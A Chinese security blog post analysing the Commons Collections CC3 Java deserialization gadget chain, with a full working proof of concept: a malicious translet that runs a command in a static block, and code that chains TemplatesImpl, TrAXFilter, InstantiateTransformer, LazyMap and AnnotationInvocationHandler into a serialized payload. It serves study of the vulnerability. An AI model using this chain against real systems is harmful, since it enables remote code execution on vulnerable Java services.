Java反序列化漏洞(五)- CommonsCollections3链

CC3 官方描述为 CC1 的变种,其中能看到 CC1 和 CC2 的部分影子,但是部分技术细节并不相同。
在 CC1 中,使用了 AnnotationInvocationHandler 对 LazyMap 进行代理,在反序列化时触发 LazyMap 的 get 方法,并对 LazyMap 装饰 Transformer 触发漏洞。
在 CC2 中,使用 TemplatesImpl 的 newTransformer 方法触发实例化恶意类触发漏洞,方法的调用则是使用了 InvokerTransformer 反射调用。
而在 CC3 中,使用了 CC1 和 LazyMap 和 CC3 的 TemplatesImpl,中间寻找了其他的触发 newTransformer 的实现方式。

0x01 前置知识

TrAXFilter

在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,

TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。

InstantiateTransformer

有了上述 gadget ,接下来的重点就是需要我们实例化这个 TrAXFilter,实例化我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer。

Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。

反射需要的 iParamTypes 参数类型、iArgs 参数值则在 InstantiateTransformer 初始化时赋值。

0x02 攻击构造

由此,结合上面的点,可以构造出完全的攻击代码:

public class EvilClassForCC3 extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
    public static String fileName = "CC3.bin";

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, InstantiationException {

        // 读取恶意类 bytes[]
        InputStream inputStream = CC3.class.getResourceAsStream("EvilClassForCC3.class");
        byte[]      bytes       = new byte[inputStream.available()];
        inputStream.read(bytes);

        // 初始化 TemplatesImpl 对象
        TemplatesImpl tmpl      = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});
        // _name 不能为空
        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(tmpl, "su18");


        // 结合 ChainedTransformer
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
        });

        // 初始化 LazyMap
        Map lazyMap = LazyMap.decorate(new HashMap(), chain);
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        // 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        // 创建LazyMap的动态代理类实例
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);

        writeObjectToFile((Serializable) invocationHandler, fileName);
        readFileObject(fileName);
    }

    public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
            oos.writeObject(obj);
        }
    }

    public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
            return ois.readObject();
        }
    }

0x03 总结

以上就是 CC3 链分析的全部内容了,最后总结一下。

1.利用说明:

  • 利用 AnnotationInvocationHandler 在反序列化时会触发 Map 的 get/set 等操作,配合 LazyMap 在执行 Map 对象的操作时会根据不同情况调用 Transformer 的转换方法,利用了 InstantiateTransformer 实例化 TrAXFilter 类,并调用 TemplatesImpl 的 newTransformer 方法实例化恶意类字节码触发漏洞。
    2.Gadget 总结:
  • kick-off gadget:sun.reflect.annotation.AnnotationInvocationHandler#readObject()
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
  • chain gadget:org.apache.commons.collections.functors.InstantiateTransformer#transform()

3.调用链展示:

AnnotationInvocationHandler.readObject()
   Map(Proxy).entrySet()
        AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()

4.依赖版本
commons-collections : 3.1~3.2.1
jdk < 7u21

免责声明

免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!

微信公众号

本文链接:

https://sanshiok.com/archive/22.html

# 最新文章